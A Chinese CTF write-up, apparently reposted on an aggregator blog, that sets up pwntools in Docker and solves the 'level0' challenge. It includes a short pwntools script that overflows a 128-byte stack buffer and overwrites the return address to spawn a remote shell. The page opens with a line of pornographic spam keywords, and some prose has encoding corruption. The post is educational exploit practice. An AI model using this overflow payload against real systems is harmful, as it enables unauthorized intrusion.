日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

pwntools用docker实现,进行pwn题解答

發(fā)布時(shí)間:2025/3/21 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pwntools用docker实现,进行pwn题解答 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

    • pwntools環(huán)境
      • 步驟一
      • 步驟二
    • level0

pwntools環(huán)境

這里我直接用docker環(huán)境,Ubuntu環(huán)境的docker建議看我這個(gè)https://blog.csdn.net/CSNN2019/article/details/119057956?spm=1001.2014.3001.5501,搞好環(huán)境之后,測(cè)試的時(shí)候,會(huì)報(bào)如下錯(cuò)誤

經(jīng)過(guò)我如下操作,即可解決這個(gè)報(bào)錯(cuò)

步驟一

修改docker鏡像源,如果沒(méi)有 daemon.json就新建添加以下內(nèi)容:

[ak666@ubuntu ~]# cd /etc/docker [ak666@ubuntu docker]# ls daemon.json key.json [ak666@ubuntu docker]# vim daemon.json # 添加以下內(nèi)容 {"registry-mirrors": ["http://hub-mirror.c.163.com"]}# 也可以添加多個(gè)國(guó)內(nèi)源 {"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]}

步驟二

vi /etc/resolv.conf,添加nameserver 8.8.8.8

以交互式的方式去運(yùn)行pwntools

緊接著我import pwn

報(bào)錯(cuò),只需要在pwntools中安裝pathlib2模塊就好

然后import pwn

成功然后需要進(jìn)行映射:
需要把level0這個(gè)文件映射到pwntools環(huán)境下,當(dāng)然直接映射目錄。

/home/ak666/Desktop/CTF目錄

docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools/ /bin/bash

level0

sudo docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools pwntools/pwntools /bin/bash

把物理機(jī)中/home/ak666/Desktop/CTF/目錄下的文件映射到docker中/home/pwntools下,后者可以隨便寫(xiě),因?yàn)闊o(wú)所謂。

這里用docker環(huán)境的話,我的docker中pwntools環(huán)境每次進(jìn)去都需要安裝pathlib2一遍(因?yàn)槊看味际侵貑ⅰP枰獙?xiě)腳本然后映射到docker中pwntools環(huán)境中去,緊接著就是執(zhí)行一波KO

ssize_t vulnerable_function() {char buf[128]; // [rsp+0h] [rbp-80h] BYREFreturn read(0, buf, 0x200uLL); }

長(zhǎng)度為0x200字符,直接放入 僅有128字符長(zhǎng)度的數(shù)組中(也就是棧中)。另外找到一個(gè)函數(shù),直接獲得一個(gè)shell,緩沖區(qū)溢出,就修改返回地址跳轉(zhuǎn)到這里

# coding:utf-8 from pwn import * r = remote("111.200.241.244",49201)#遠(yuǎn)程連接 payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596) r.recvuntil("Hello, World\n") r.sendline(payload) r.interactive()

棧中數(shù)據(jù)首先是 返回地址 + ebp + 臨時(shí)變量,所以這里的8也就是覆蓋原來(lái)的ebp

這里的話需要加第一行,不加的話報(bào)錯(cuò)如下:

SyntaxError: Non-ASCII character '\xe8' in file level0 on line 2, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details

總結(jié)

以上是生活随笔為你收集整理的pwntools用docker实现,进行pwn题解答的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。